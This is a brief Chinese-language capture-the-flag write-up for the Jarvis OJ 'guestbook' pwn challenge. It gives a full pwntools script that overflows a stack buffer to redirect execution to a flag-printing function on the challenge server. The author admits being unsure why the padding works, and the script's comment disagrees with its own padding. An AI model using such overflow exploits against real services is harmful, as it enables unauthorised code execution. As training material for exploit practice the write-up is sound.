这道题跟xman-level0类似,主要一个坑点是没有rbp,不需要填充字节。至于为啥,我也还不懂,以后看到相关知识点再补充。
1.主要是覆盖返回地址,跳转到good_game函数,然后执行就可以获取到flag.txt的内容,最后打印出来即可。
2.具体代码如下:
# coding:utf-8
from pwn import *
# there is no rbp!!
context(os='linux',arch='amd64')
sh = remote('pwn.jarvisoj.com',9876)
elf = ELF('./guestbook')
game_addr = elf.symbols['good_game']
payload = 'a' * (0x80 + 0x8) + p64(game_addr)
sh.recvuntil('message:\n')
sh.sendline(payload)
print sh.recvall()
sh.close()